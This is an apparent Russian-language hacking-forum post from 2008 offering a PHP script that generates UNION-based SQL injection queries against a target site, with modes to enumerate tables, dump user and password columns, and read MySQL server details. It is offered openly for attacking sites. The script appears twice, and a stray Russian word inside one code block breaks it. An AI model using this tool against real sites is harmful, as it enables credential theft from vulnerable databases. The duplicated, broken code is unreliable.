gisTy
03.07.2008, 06:23
Иногда бывает, что при работе с sql-инъекциями таблица содержит большое количество колонок (например 150) и вводить руками это будет сложновато.. поэтому написал для себя скрипт облегчающий задачу...
<?php
$host = 'www.site.com'; #adress attacking of server (www.site.com)
$path = 'index.php?id='; #path to vulnerabity script with injection argument (shop/shop.php?id=)
$rows = 9; #number of rows
$printrow = 5; #printable row
$mode = 'stat'; #inform - dump information from information_schema; dump - dump information from interesting table; stat - information about MySQL-server (version(), user(), database())
$columns = 'user,0x3a,password'; #name of interesting columns, separated with 0x3a
$database = 'user'; #name of interesting
$end = '/*'; #end of query ('/*' or '--')
$query = "$host/$path-1+union+select+";
switch ($mode)
{
case "inform":
for($i=1;$i<$rows+1;$i++) {
if($i==$printrow) {
$query .= 'concat(0x7c3a7c3a,table_name,0x3a7c3a7c),';
} elseif($i==$rows) {
$query .= $i;
} else {
$query .= $i.',';
}
}
$query .= "+from+information_schema.tables";
break;
case "dump":
for($i=1;$i<$rows+1;$i++) {
if($i==$printrow) {
$query .= 'concat(0x7c3a7c3a,'.$columns.'),';
} elseif($i==$rows) {
$query .= $i;
} else {
$query .= $i.',';
}
}
$query .= "+from+$database";
break;
case "stat":
for($i=1;$i<$rows+1;$i++) {
if($i==$printrow) {
$query .= 'concat(0x7c3a7c3a,version(),0x3a3a,user(),0x3a3a, database(),0x3a7c3a7c),';
} elseif($i==$rows) {
$query .= $i;
} else {написал
$query .= $i.',';
}
}
break;
}
$query .= $end;
echo "$query\n";
?>
внутри скрипта описано для чего, что и как используется.. юзайте наздоровье=)
<?php
$host = 'www.site.com'; #adress attacking of server (www.site.com)
$path = 'index.php?id='; #path to vulnerabity script with injection argument (shop/shop.php?id=)
$rows = 9; #number of rows
$printrow = 5; #printable row
$mode = 'stat'; #inform - dump information from information_schema; dump - dump information from interesting table; stat - information about MySQL-server (version(), user(), database())
$columns = 'user,0x3a,password'; #name of interesting columns, separated with 0x3a
$database = 'user'; #name of interesting
$end = '/*'; #end of query ('/*' or '--')
$query = "$host/$path-1+union+select+";
switch ($mode)
{
case "inform":
for($i=1;$i<$rows+1;$i++) {
if($i==$printrow) {
$query .= 'concat(0x7c3a7c3a,table_name,0x3a7c3a7c),';
} elseif($i==$rows) {
$query .= $i;
} else {
$query .= $i.',';
}
}
$query .= "+from+information_schema.tables";
break;
case "dump":
for($i=1;$i<$rows+1;$i++) {
if($i==$printrow) {
$query .= 'concat(0x7c3a7c3a,'.$columns.'),';
} elseif($i==$rows) {
$query .= $i;
} else {
$query .= $i.',';
}
}
$query .= "+from+$database";
break;
case "stat":
for($i=1;$i<$rows+1;$i++) {
if($i==$printrow) {
$query .= 'concat(0x7c3a7c3a,version(),0x3a3a,user(),0x3a3a, database(),0x3a7c3a7c),';
} elseif($i==$rows) {
$query .= $i;
} else {написал
$query .= $i.',';
}
}
break;
}
$query .= $end;
echo "$query\n";
?>
внутри скрипта описано для чего, что и как используется.. юзайте наздоровье=)